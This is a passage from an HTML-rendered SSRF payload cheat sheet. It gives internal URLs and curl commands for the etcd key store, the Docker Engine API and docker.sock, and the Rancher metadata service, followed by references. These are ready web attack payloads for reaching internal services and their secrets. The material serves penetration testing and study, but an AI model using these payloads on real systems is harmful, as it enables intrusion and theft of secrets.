<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="nb">curl </span><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">2379</span><span class="p">/</span><span class="n">v2</span><span class="p">/</span><span class="n">keys</span><span class="p">/</span><span class="k">?</span><span class="n">recursive</span><span class="p">=</span><span class="n">true</span>
</code></pre></div>
<h2 id="ssrf-url-for-docker">SSRF URL for Docker</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">2375</span><span class="p">/</span><span class="n">v1</span><span class="p">.</span><span class="n">24</span><span class="p">/</span><span class="n">containers</span><span class="p">/</span><span class="n">json</span>
<a id="__codelineno-27-2" name="__codelineno-27-2" href="#__codelineno-27-2"></a>
<a id="__codelineno-27-3" name="__codelineno-27-3" href="#__codelineno-27-3"></a><span class="n">Simple</span> <span class="n">example</span>
<a id="__codelineno-27-4" name="__codelineno-27-4" href="#__codelineno-27-4"></a><span class="n">docker</span> <span class="n">run</span> <span class="n">-ti</span> <span class="n">-v</span> <span class="p">/</span><span class="n">var</span><span class="p">/</span><span class="n">run</span><span class="p">/</span><span class="n">docker</span><span class="p">.</span><span class="n">sock</span><span class="p">:/</span><span class="n">var</span><span class="p">/</span><span class="n">run</span><span class="p">/</span><span class="n">docker</span><span class="p">.</span><span class="n">sock</span> <span class="n">bash</span>
<a id="__codelineno-27-5" name="__codelineno-27-5" href="#__codelineno-27-5"></a><span class="n">bash</span><span class="p">-</span><span class="n">4</span><span class="p">.</span><span class="n">4</span><span class="c"># curl --unix-socket /var/run/docker.sock http://foo/containers/json</span>
<a id="__codelineno-27-6" name="__codelineno-27-6" href="#__codelineno-27-6"></a><span class="n">bash</span><span class="p">-</span><span class="n">4</span><span class="p">.</span><span class="n">4</span><span class="c"># curl --unix-socket /var/run/docker.sock http://foo/images/json</span>
</code></pre></div>
<p>More info:</p>
<ul>
<li>Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option</li>
<li>Docker Engine API: https://docs.docker.com/engine/api/latest/</li>
</ul>
<h2 id="ssrf-url-for-rancher">SSRF URL for Rancher</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="nb">curl </span><span class="n">http</span><span class="p">://</span><span class="n">rancher-metadata</span><span class="p">/&lt;</span><span class="n">version</span><span class="p">&gt;/&lt;</span><span class="n">path</span><span class="p">&gt;</span>
</code></pre></div>
<p>More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://web.archive.org/web/20180210093624/https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/">Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - December 13, 2017</a></li>
<li><a href="https://notsosecure.com/exploiting-ssrf-aws-elastic-beanstalk">Exploiting SSRF in AWS Elastic Beanstalk - Sunil Yadav - February 1, 2019</a></li>
</ul>
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